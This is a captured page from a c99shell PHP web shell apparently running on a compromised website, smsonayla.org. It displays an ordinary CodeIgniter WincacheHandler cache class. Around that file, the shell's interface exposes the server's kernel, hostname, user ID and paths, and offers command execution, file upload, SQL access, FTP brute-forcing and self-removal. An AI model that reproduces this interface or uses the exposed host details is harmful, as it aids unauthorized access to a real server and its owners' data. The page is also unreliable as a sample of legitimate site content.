smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Cache/Handlers/   drwxr-xr-x
Free 3429.59 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     WincacheHandler.php (3.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Cache\Handlers;

use 
Config\Cache;
use 
Exception;

/**
 * Cache handler for WinCache from Microsoft & IIS.
 *
 * @codeCoverageIgnore
 */
class WincacheHandler extends BaseHandler
{
    public function 
__construct(Cache $config)
    {
        
$this->prefix $config->prefix;
    }

    
/**
     * {@inheritDoc}
     */
    
public function initialize()
    {
    }

    
/**
     * {@inheritDoc}
     */
    
public function get(string $key)
    {
        
$key     = static::validateKey($key$this->prefix);
        
$success false;

        
$data wincache_ucache_get($key$success);

        
// Success returned by reference from wincache_ucache_get()
        
return $success $data null;
    }

    
/**
     * {@inheritDoc}
     */
    
public function save(string $key$valueint $ttl 60)
    {
        
$key = static::validateKey($key$this->prefix);

        return 
wincache_ucache_set($key$value$ttl);
    }

    
/**
     * {@inheritDoc}
     */
    
public function delete(string $key)
    {
        
$key = static::validateKey($key$this->prefix);

        return 
wincache_ucache_delete($key);
    }

    
/**
     * {@inheritDoc}
     */
    
public function deleteMatching(string $pattern)
    {
        throw new 
Exception('The deleteMatching method is not implemented for Wincache. You must select File, Redis or Predis handlers to use it.');
    }

    
/**
     * {@inheritDoc}
     */
    
public function increment(string $keyint $offset 1)
    {
        
$key = static::validateKey($key$this->prefix);

        return 
wincache_ucache_inc($key$offset);
    }

    
/**
     * {@inheritDoc}
     */
    
public function decrement(string $keyint $offset 1)
    {
        
$key = static::validateKey($key$this->prefix);

        return 
wincache_ucache_dec($key$offset);
    }

    
/**
     * {@inheritDoc}
     */
    
public function clean()
    {
        return 
wincache_ucache_clear();
    }

    
/**
     * {@inheritDoc}
     */
    
public function getCacheInfo()
    {
        return 
wincache_ucache_info(true);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getMetaData(string $key)
    {
        
$key = static::validateKey($key$this->prefix);

        if (
$stored wincache_ucache_info(false$key)) {
            
$age      $stored['ucache_entries'][1]['age_seconds'];
            
$ttl      $stored['ucache_entries'][1]['ttl_seconds'];
            
$hitcount $stored['ucache_entries'][1]['hitcount'];

            return [
                
'expire'   => $ttl time() + $ttl null,
                
'hitcount' => $hitcount,
                
'age'      => $age,
                
'ttl'      => $ttl,
            ];
        }

        return 
false// @TODO This will return null in a future release
    
}

    
/**
     * {@inheritDoc}
     */
    
public function isSupported(): bool
    
{
        return 
extension_loaded('wincache') && ini_get('wincache.ucenabled');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--